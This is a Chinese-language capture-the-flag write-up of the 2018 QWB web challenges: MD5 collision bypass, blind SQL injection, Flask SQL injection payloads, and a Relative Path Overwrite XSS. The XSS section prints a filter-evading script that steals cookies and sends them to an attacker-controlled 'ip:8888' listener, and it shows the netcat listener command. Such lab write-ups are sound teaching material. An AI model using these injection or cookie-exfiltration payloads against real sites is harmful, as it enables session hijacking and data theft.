2018强网杯Web部分writeup

Web

Web签到

  这道题考的是MD5绕过,一共有三关,前面两个直接使用数组绕过即可,如下:




  第三个则需要找到两个真正相同的MD5的值,代码如下:
1
2
3
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}


  string将数组转换成'array'所以无法使用数组进行绕过。

  这里google了两个图片。






  我们使用python将文件读取出来并进行url编码
1
2
>>> import urllib
>>> urllib.quote(open("md5_1.jpg", "rb").read())


  然后提交即可。



  参考链接:

    Sha1碰撞

    md5相同的图片


## three hit
  这道题绕了好久,主要是思路被带偏了,实话就是自己太年轻。。。

  首先注册的时候会发现后台对usernameage都有过滤,age只允许数字。



  然后我们尝试一下16进制是否可以。我们将要注入的字符进行16进制编码一下。






  所以POC就已经出来了,而且还没有任何过滤,接着我们构造如下payload:
1
1 and ascii(substr((select flag from flag),1,1))>100


  然后逐一判断即可得到flag。这里需要注意的是我们要使用ascii作为判断条件而不要使用substr防止得到大小写不准确的flag。

### ——————————–后期复现分割线——————————–

## Python is the best language 1
  flask代码审计,在form.py的表单里只有PostForm是没有过滤的,其他表单中都存在过滤函数。



  而这个表单在/index下被引用。



  再看看Add()函数。



  现在可以确定注入点就在这里。我们试一下:
1
'|conv(hex(substr(user(),1,4)),16, 10)|'


  然后回显:



  说明确实存在注入,接着就是找表和字段,
1
2
3
'|conv(hex(substr((select table_name from information_schema.tables where table_schema=database()),1,4)),16,10)|'

'|conv(hex(substr((select column_name from information_schema.columns where table_name=0x666c616161616167 limit 0,1),1,4)),16,10)|'


  结果就是表名:flaaaaag,列名:flllllag。payload:
1
'|conv(hex(substr((select flllllag from flaaaaag),1,4)),16,10)|'


  最终flag:QWB{us1ng_val1dator_caut1ous}

## Share your mind
  这道题考察的是RPO(Relative Path Overwrite)相对路径覆盖利用,如何判断的呢:

1、路由问题






  可以看到,这里加了/aaaa它还是能正确找到这份文件,所以如果我们在这个页面中写了一些js代码,并且以js去运行解析它的话就会造成任意js代码执行。
2、页面的js文件采用相对地址引入




  注意前面的../

* 3、浏览器和服务器对%2f的定义不同

  服务器在接收到%2f的时候会把它转化成/,当作目录解析。如:
1
2
3
4
5
http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../
转化成:
http://39.107.33.96:20000/index.php/view/article/1111/aaa/../../../
最终:
http://39.107.33.96:20000/index.php/view/


  这里要注意的是浏览器在请求js、css文件时是以当前url的目录为基准的,然后在后面拼接js、css的地址,接着在请求该js、css。如:
1
2
3
4
5
6
7
http://39.107.33.96:20000/index.php/view/article/1111%27aaa
浏览器中的目录:
http://39.107.33.96:20000/index.php/view/article/
拼接js地址:
http://39.107.33.96:20000/index.php/view/article/../static/js/jquery.min.js
最终:
http://39.107.33.96:20000/index.php/view/static/js/jquery.min.js


  这是因为1111%27aaa被当作了一个文件,而不是你想的/1111/aaa1111是目录。

  我们首先插个弹窗,然后查看下raw






  然后我们构造如下payload:
1
http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../





  可以看到已经弹窗,我们再看一下网络请求。









  可以发现它把我们view raw中的代码作为js解析了。

  而经过测试,在report页面中是存在xss的。



  但这道题的点不在这,我们回到RPO的利用中来,因为过滤了<>,所以我们用eval(String.fromCharCode(xxx))来绕过,所以payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
s="""var i=document.createElement("iframe");
i.src="/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://ip:8888?xx="+c;
}"""

print "eval(String.fromCharCode(",
for i in s:
print str(ord(i))+",",

print "))",


  我们把它插入到write article里,然后获取到它的url,如:



  服务器端启动监听:nc -tlp 8888

  然后提交攻击链接:
1
http://39.107.33.96:20000/index.php/view/article/1198/aaaaa/..%2f..%2f../


  接着就能在服务器上收到hint



  这里提示flag/QWB_fl4g/QWB/下的cookie中,所以我们将iframesrc=/QWB_fl4g/QWB/。代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
s="""var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://ip:8888?xx="+c;
}"""

print "eval(String.fromCharCode(",
for i in s:
print str(ord(i))+",",

print "))",


  跟上面同样的套路走起,最终获得flag:QWB{flag_is_f43kth4rpo}


  
  
  
  
  
  
  
  
  
  

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×